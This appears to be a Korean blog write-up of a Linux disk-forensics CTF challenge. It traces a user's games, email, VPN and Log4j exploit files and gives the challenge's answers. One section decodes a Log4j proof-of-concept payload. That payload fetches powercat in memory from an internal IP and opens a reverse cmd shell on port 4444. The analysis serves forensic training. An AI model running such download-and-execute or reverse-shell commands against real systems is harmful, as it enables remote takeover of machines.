CTF/cyberdefenders

[Cyberdefenders] MR.Gamer

Ron Weasley 2023. 1. 2. 15:40

최근 Cyberdefenders 사이트의 포렌식 문제를 하나씩 접하는 중이여서 write-up을 작성해보려고 합니다.

문제 파일을 다운 받으면, E01로 된 디스크 이미징 파일이 주어지고 이 파일은 분할이 되어 있기 때문에 파일 1개라도 옮길 경우 분석이 불가능하다. 그리고 리눅스 포렌식이기 때문에 설명이 정확하지 않을 수 있다는 점 참고 바랍니다.

 

시나리오를 보겠습니다.

[시나리오]
This #Linux image belongs to a user who likes to play games and communicate with friends.
Is there something happening under the hood?
Test drive your #LinuxForensics skills and identify anomalies!

 

해석을 해보면, 게임을 하고 친구들과 소통하는 것을 좋아하는 사용자의 시스템을 이미징화 하였고 리눅스 포렌식 기술을 사용하여 분석을 요청하는 문제입니다. 바로 풀이를 하겠습니다.

[문제 1]

I use print statements for my logging ->
What is the name of the utility/library the user was looking at exploits for?

문제를 해석해보면, exploits에 사용한 유틸리티 또는 라이브러리를 물어보는 문제입니다.

쉽게 말해서 익스플로잇은 한글로 취약점 공격이고, 취약점 공격이란 컴퓨터의 소프트웨어나 하드웨어 및 컴퓨터 관련 전자 제품의 버그, 보안 취약점 등 설계상 결함을 이용해 공격자의 의도된 동작을 수행하도록 만들어진 절차나 일면의 명령, 스크립트, 프로그램 또는 특정한 데이터 조각을 의미합니다.

 

일단, 명령어 히스토리를 먼저 보겠습니다.

Path : root\home\rafael\.bash_history

히스토리를 살펴보면, Log4j 라는 자바 기반 로깅 유틸리티를 에디터로 열어본 흔적을 찾을 수 있었습니다.

그래서 일단 exploits에 사용된 유틸리티가 Log4j 라는 것은 확인이 되었으니, 답을 입력하시면 됩니다.

하지만, 히스토리만 보면 답만 맞춘 것이기 때문에 조금 더 고민을 해보면 파일 시스템 내에 log4j와 관련된 흔적을 많이 찾을 수 있습니다.

Path : root\home\rafael\apache-log4j-rce-poc

해당 경로에서도 log4j 라는 키워드가 존재하고, 웹 히스토리를 봐도 CVE가 나오기 때문에 log4j 인 것을 확인할 수 있었습니다.

웹 히스토리 파일이 있는 경로는 다음과 같습니다.

 

Path : root\home\rafael\snap\firefox\common\.mozila\firefox\mcrcm1xn.default\places.sqlite

 

웹 히스토리 로그에서는 CVE-2021-44228 Log4j 라는 것을 볼 수 있었습니다.

이외에도 사용자의 사진 디렉터리에 스크린샷을 보면 Log4j와 관련된 사진들도 볼 수 있었고, 이 모든 정황으로 볼 때 exploits에 사용된 유틸리티는 Log4j임을 확신할 수 있었습니다.

 

[문제 2]

Mischievous Lemur ->
What is the version ID number of the operating system on the machine?

설치된 운영체제의 버전을 물어보는 문제입니다.

리눅스에서는 운영체제의 버전은 다음과 같은 경로에 저장되어 있습니다.

Path : root\etc\issue

설치된 운영체제의 버전은 Ubuntu 21.10 버전입니다.

 

[문제 3]

$whoami ->
What is the hostname of the computer?

컴퓨터의 hostname이  누구인지 물어보는 문제입니다.

리눅스에서 hostname은 다음과 같은 경로에 저장되어 있습니다.

Path : root\etc\hostname

해당 컴퓨터를 사용하고 있는 hostname은 rshell-lenovo입니다.

 

[문제 4]

A little blue birdie told me ->
What is one anime that the user likes?

작은 파란새가 말을 하고 있으며 사용자가 가장 좋아하는 애니메이션이 무엇인지 물어보는 문제입니다.

키워드를 보시면 "작은 파란 새" 라고 되어있는데, 문제 파일에서 볼 수 있는 파란새는 썬더버드와 트위터입니다. 하지만, 지문 자체를 봤을 때 썬더버드는 디렉터리가 존재하기 때문에 연상이 되지만 트위터를 연상할 수 없기 때문에 제가 찾은 방법을 소개해드릴려고 합니다.

 

먼저, 웹 히스토리를 봤습니다.

웹 히스토리 상에 남아있는 트위터들을 이동해보면, NASCAR라는 스포츠협회 계정을 탐방하는 것으로 보이고 트윗을 업데이트를 계속 진행하는 것으로 보아 애니메이션으로 볼 수 없는 것들만 나와있음을 알 수 있었다. 하지만 웹 브라우저 로그들은 삭제가 가능하기 때문에 확정을 지을 순 없는 부분이다.

 

그럼 나머지 키워드인 썬더버드를 한번 보겠습니다.

썬더버드는 모질라에서 개발한 이메일 소프트웨어로 다양한 정보들이 담겨 있습니다.

Path : root\home\rafael\.thunderbird\vrvcx2qf.default-release\global-messages-db.sqlite

제가 문제 해결에 이용한 파일은 공식문서를 통해 보니 thunderbird를 통해서 주고 받은 메시지를 검색할 수 있게 해주는 인덱싱 시스템 파일입니다.

sqlite로 되어 있기 때문에 DB Browser for sqlite를 이용해서 파일을 열어주면 다양한 메일의 내용을 볼 수 있습니다. (와이파이 비밀번호도 담겨있음)

빨간색 체크 박스로 된 메일의 내용을 살펴보시면, 트위터로 연결되는 여러개의 링크가 있습니다.

그 중 일부를 한번 보겠습니다.

일부를 보시면, Attack on Titan 계정과 연결된 링크를 하나 줍니다.

링크를 따라 들어가시면 사용자가 좋아하는 애니메이션을 확인 할 수 있었습니다.

진격의 거인입니다!!!! 그래서 영어로 번역을 하면 Attack on titan이 사용자가 즐겨하는 애니메이션임을 확인할 수 있습니다.

이외에도 확인을 할 수 있는 방법이 있긴 하지만 조금 까다롭기 때문에 경로만 설명을 좀 하고 넘어가도록 하겠습니다.

Path : root\home\rafael\.thunderbird\vrvcx2qf.default.release\ImapMail\imap.gmail.com\INBOX

이 경로에 위치한 INBOX 파일은 thunderbird 메일을 이용하여 받은 메일을 저장하는 폴더입니다.

Gmail로 따지면 "받은 편지 보관함" 같은 기능을 하는 파일로 thunderbird에서 사용하던 메일 서버를 변경했을 때, 과거에 메일을 주고 받았던 기록들이 INBOX 파일에 저장이 되어 있어 백업 기능도 할 수 있게 하는 파일이기 때문에 Attack on titan 메일을 받은 로그들이 남아 있었습니다.

 

하지만, 문제를 풀다보니 "작은 파란 새" 라는 것이 썬더버드와 트위터 둘다 의미를 하는 것 이였으며 썬더버드를 통해 받은 트위터 URL링크를 가지고 해결하는 문제이므로 색다른 문제였던 것으로 생각합니다.

[문제 5]

Into the Matrix, we go ->
What is the UUID for the attacker's Minecraft account?

공격자가 사용한 마인크래프트의 UUID를 물어보는 문제입니다.

마인크래프트 UUID를 확인하는 방법은 여러가지가 있지만, 쉽게 usercahce.json을 확인하는 것 입니다.

Path : root\home\rafael\.minecraft\usercache.json

usercache.json 파일을 보면 유저의 이름, uuid 등등 다양한 정보들을 확인 할 수 있습니다.

이외에도 다음 경로에서 동일한 uuid를 확인할 수 있었습니다.

Path : root\home\rafael\.minecraft\saves\1_1_8 world\playerdata

이 디렉터리는 마인크래프트를 해보시면 아시겠지만 마인크래프트는 새로운 계정이 아니라 새로운 월드로 생성이 됩니다.

그렇기 때문에 1.1.8 월드에 대한 플레이어 데이터를 보시면 [uuid].dat 파일이 생성된 것을 볼 수 있는데, uuid랑 비교했을 때 동일한 아이디 임을 확인할 수 있었습니다.

[문제 6]

Today's Youtube video is sponsored by... ->
What VPN client did the user install and use on the machine?

사용자가 시스템에 설치하고 사용한 VPN Client를 물어보는 문제입니다.

VPN이란 Virtual Private Network의 약자로 공중 네트워크를 통해 한 회사나 몇몇 단체가 내용을 외부로 드러내지 않고 통신할 목적으로 쓰이는 사설 통신망입니다.

 

문제를 처음 접하고, 다양한 디렉터리를 봤을 때 openVPN이 있어서 입력을 했지만 틀렸습니다. 이유를 말씀드리자면 \etc\openvpn\ 경로에 가시면 아무런 파일들도 남아 있지 않았기 때문에 거짓 정보라는 것을 유추할 수 있었습니다.

 

일단, vpn을 설치를 했다면 터미널을 통해서 입력을 했음을 알 수 있으니까 히스토리를 한번 보겠습니다.

Path : root\home\rafael\.bash_history

히스토리를 보시면 curl 명령어를 가지고 zerotier를 다운 받는것을 볼 수 있습니다.

zerotier는 가상 소프트웨어 네트워크를 만들고 관리하는 회사이기 때문에 VPN을 제공하는 업체라고 생각을 하시면 될 것 같습니다.

더 나아가서 스크린 샷으로 촬영된 사진들을 살펴 본 결과 zerotier를 사용하는 것을 볼 수 있습니다.

Path : root\home\rafael\Pictures\Screenshot from 2022-02-08 22-41-44.png

[문제 7]

Be our guest ->
What was the user's first password for the guest wifi?

게스트 와이파이를 위한 사용자의 첫 번째 비밀번호를 물어보는 문제입니다.

눈치를 채셨을 지 모르겠지만, 아까 위에서 thunderbird 메일을 다룰 때 와이파이 비밀번호도 적혀있었다. 라고 조그만하게 써놨었습니다.

아까 추출을 했던 global-message-db를 열어보면 3개의 와이파이 비밀번호를 알 수 있었습니다.

이 중 가장 먼저 공개된 패스워드를 보면 2022년 1월 28일에 발행된 093483 패스워드 비밀번호 입니다.

[문제 8]

If a picture is worth a thousand words, how many is a video worth? ->
The user watched a video that premiered on Dec 11th, 2021.
How many views did it have when they watched it on February 9th?

사용자는 2021년 12월 11일에 비디오 영상을 봤고, 2월 9일에 동일한 영상을 봤을 때 조회수를 물어보는 문제입니다.

조회수가 있다는건 Youtube를 통해서 들어갔다는 것이지만 웹 히스토리를 통해 유튜브를 들어갔다고 가정하면 2023년으로 잡히기 때문에 조회수가 맞질 않고, 좀 전에 스크린샷이 저장된 Picture 디렉터리에서 유튜브 영상이 촬영된 것을 볼 수 있었습니다.

Path : root\home\rafael\Pictures\Screenshot from 2022-02-09 16-42-10.png
Path : root\home\rafael\Pictures\Screenshot from 2022-02-09 17-31-17.png
Path : root\home\rafael\Pictures\Screenshot from 2022-02-09 17-42-23.png

이 3개의 사진 파일을 보면 가장 먼저 16시 42분 10초에 촬영된 사진을 보면 265.342뷰를 기록하고 있지만 나머지들은 더 많은 조회수를 가지고 있기 때문에 문제 출제 의도에 따라서 265342가 조회수입니다.

[문제 9]

I'm hungry for videos ->
What is the new channel name for the YouTuber whose cookbook is shown on the device?

요리책을 쓴 유튜버의 채널을 물어보는 문제입니다. 개인적인 생각이지만 문제 설명이 정말 안좋습니다...

Path : root\home\rafael\marshalsec

home 디렉터리안에 marshalsec 디렉터리가 하나 존재하는 것을 볼 수 있는데 구글을 통해서 살펴보니 Log4j에 대한 CVE-2021-44228에 대한 정보들이 담겨있는 github 사이트가 있었습니다.

 

marshalsec 디렉터리를 본 결과 Log4j 테스트를 하기 위해서 다양한 소스코드들과 사진 등 엄청 많은 파일들이 있었고, 그 중 특정한 png 파일을 살펴보니 요리책이 하나 있었습니다.

책 제목을 구글에 입력하니 유튜브 채널이 하나 나오게 되었고, 유튜버의 이름은 Babish Culinary Universe입니다.

[문제 10]

Hunt the Wumpus ->
What is the module with the highest installed version for the chat application with the mascot Wumpus?

채팅 어플리케이션의 모듈 버전을 물어보는 문제입니다.

home 디렉터리에 숨겨진 디렉터리인 .config 디렉터리가 있습니다. 안에 존재하는 디렉터리들을 살펴보면 discord 채팅 앱이 설치된 것을 볼 수 있다.

Path : root\home\rafael\.config\discord\0.0.16\modules\installed.json

installed.json 파일을 살펴보면 다음과 같은 로그들을 볼 수 있었습니다.

가장 최신 버전을 보면 5로 되어있는 discord_voice가 최신 버전임을 알 수 있었습니다.

[문제 11]

It's raining ocelots and wolves ->
According to Windows,
what was the temperature in Fahrenheit on February 11th, 2022, at 6:30 PM?

윈도우에 저장된 화씨의 온도를 찾는 문제입니다. 정말 문제가 이상하군요...

아까 요리책을 찾는 방법과 같은 방법으로 풀었지만 다른 방법으로도 푸는 방법을 설명하도록 하겠습니다.

Path : root\home\rafael\.cache\thumbnails\normal

이 경로를 가시면 다양한 사진에 대한 썸네일 파일들이 존재합니다. 썸네일은 말 그대로 사진이 하나 있다면 그 사진을 축소해서 조그맣게 미리 보여주는 기능을 하는 것입니다. 그렇기 때문에 디렉터리에 1.png 파일이 있다면 1.png 파일에 대한 썸네일 파일도 하나 존재합니다.

 

그래서 윈도우 화면으로 미리 보기 기능을 제공하는 png 파일들이 여러개 있지만 그 중 bd04fc8 ~~~로 된 파일이 우리가 찾는 파일입니다.

썸네일 파일을 추출해서 hxd 값으로 열어보면 썸네일 파일을 생성하게 하는 원본 파일의 경로를 제공합니다.

그래서 YXvy~~ 파일을 marahalsec 디렉터리에서 보게 되면 원본 사진을 볼 수 있습니다.

6시 30분에 스크린 샷이 찍혔고 화씨 45F 임을 알 수 있었습니다.

[문제 12]

Never gonna give... up on this question ->
What is the upload date of the second youtube video on the channel from which the user downloaded a youtube video?

유튜브 영상을 하나 다운로드 하였고, 이 영상을 다운 받을 때 들어갔던 유튜버의 2번째로 업로드된 날짜를 물어보는 문제입니다. (오신트인가..)

Path : root\home\rafael\Downloads\

경로에 가시면, Rick Astley - Never Gonna Give you up 음악 파일이 다운로드 되어 있는것을 확인할 수 있었습니다.

저 노래는 다들 들어보셨을 노래이기 때문에, Rick Astley가 유튜브 채널을 개설했다는 것으로 알면 되겠네요.

빨간색 체크 박스로 된 영상이 두번째로 업로드 된 영상입니다. 날짜를 보시면 될 것 같네요.

2009년 10월 25일에 업로드 된 것을 볼 수 있습니다.

[문제 13]

Buzzy Bees ->
What is the SHA-1 hash of Minecraft's "latest" release according to the system?

 

마인크래프트의 최신 릴리스 SHA-1 해시값을 물어보는 문제입니다.

Path : root\home\rafael\.minecraft\versions\version_manifest_v2.json

json 파일을 살펴보면 최신 릴리즈의 SHA-1 해시값을 알 수 있습니다.

[문제 14]

The RCE is base(64)d on what? ->
What were the three flags and their values that were passed to powercat?
The answer must be provided in the same format as the entered command.
(For example, if the command was "powercat -D Y -l a -n," the answer would be "-D Y -l a -n")

base64로 인코딩 된 powercat의 명령을 알아오라는 문제입니다.

 

다시 히스토리를 보겠습니다.

powercat에 대한 로그들을 확인했습니다.

또 다른 히스토리를 살펴보면, Log4jRCE.java 파일을 수정하는 것을 볼 수 있었고, marshalsec/poc/ 경로로 파일을 복사한 것을 볼 수 있습니다.

그래서 경로를 따라서 Log4jRCE.java 를 에디터로 열어보면 다음과 같은 클래스가 적혀있습니다.

사실 이 값만 보고는 어떤 것을 하는 행위 스크립트인지는 알 수 없으나, 해석을 좀 해보면 다음과 같습니다.

자바에서 Runtime.getRuntime().exec("시스템 명령어"); 는 시스템 명령어를 실행하고 그 결과를 받아서 화면에 표시한다.
그래서 powershell 프로그램을 실행하고, -exec bypass 옵션을 줌으로써 파워쉘 스크립트 실행을 제한하는
Restricted 실행 정책을 무시한 후, -enc 옵션으로 인코딩된 메개변수를 명령 줄로 전달받아서 실행한다.

결국, base64로 인코딩된 매개변수를 실행한다라고 해석을 하시면 될 것 같습니다.

디코딩을 하면 다음과 같은 명령어를 볼 수 있습니다.

불필요한 .을 없애도록 하겠습니다. 없애고 해석도 같이 했습니다.

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.191.253:8000/powercatps1');
powercat -c 192.168.191.253 -p 4444 -e cmd"

해석 : 파워쉘에서 커맨드로 입력을 받고, Ivoke-Expression을 사용하여 실제 시스템에 떨어지는 파일 없이 메모리 상으로 다운로드 받아서 바로 실행을 한다.
다운로드 URL은 http://192.168.191.253/8000/에서 powercat.ps1 파일을 다운로드 받는다.
메모리 상에서 다운로드 받는 것이기 때문에 바로 powercat 실행시킬 수 있다.
powercat은 netcat의 파워쉘 버전이며 사용자가 입력한 명령어는 다음과 같다.
powercat -c 192.168.191.253 -p 4444 -e cmd는 192.169.191.253 포트 4444에 연결해서 cmd를 실행해라.

 

쉽게 해석을 작성한 것 같은데...아마 되었겠죠?? ㅎㅎㅎ 그래서 결국엔 문제 풀이에 사용하는 것은

-c 192.168.191.253 -p 4444 -e cmd 겠네요!!

[문제 15]

Hello (New) World ->
How many dimensions (including the overworld) did the player travel to in the "oldest of the worlds"?

마인크래프트 플레이어가 새로운 월드로 이동을 했는데, 몇 개의 월드로 이동했냐 물어보는 문제입니다.

Path : root\home\rafael\.minecraft\saves\

 

해당 경로로 가시면 아까 처음엔, 1.1.8 월드를 이용해서 사용자의 UUID를 파악했습니다.

남은 파일은 New World를 보시면 DIM1, DIM-1 등등 많이 있는데, playerdata를 보시면 같은 사용자의 UUID를 가진 파일이 .old냐, .dat이냐 2개가 존재합니다. 원래라면 DIM1, DIM-1 등등 많이 이동을 했을 것 이지만 DIM1, DIM-1 디렉터리 안에는 정보들이 남아 있지 않았기 때문에 결국엔 1번만 이동을 한 것으로 보입니다.

[문제 16]

Matrix_1999 is the key! ->
What is the mojangClientToken stored in the Keystore?

mojangClientToken을 찾는 문제입니다.이 문제는 직접 풀지는 못하여서 롸업을 참고를 좀 하였고 풀이 방법은 다음과 같습니다.

 

풀이 방법은 E01 파일을 qemu를 통해서 vmdk 파일로 만들어 준 후, 마운트하여 직접 운영체제를 분석하는 방법입니다.

가상 머신에 이미지 파일을 마운트해주면 다음과 같은 tokenKey를 볼 수 있었습니다.

 

직접 실습을 하기 위해서 도전을 했으나 컴퓨터 용량 부족 문제 때문에 풀 수 없었기 때문에 다음에 기회가 된다면 풀어보도록 하겠습니다.

 

이렇게 Cyberdefenders 문제를 다 풀어봤는데, 솔직히 많이 배웠지만 지문들을 이해하는데 너무 오랜 시간이 걸려서 힘들었습니다 ㅠㅠㅠ

 

-Reference-https://cyberforblue.com/cyberdefenders-mr-gamer-writeup/https://whitesnake1004.tistory.com/477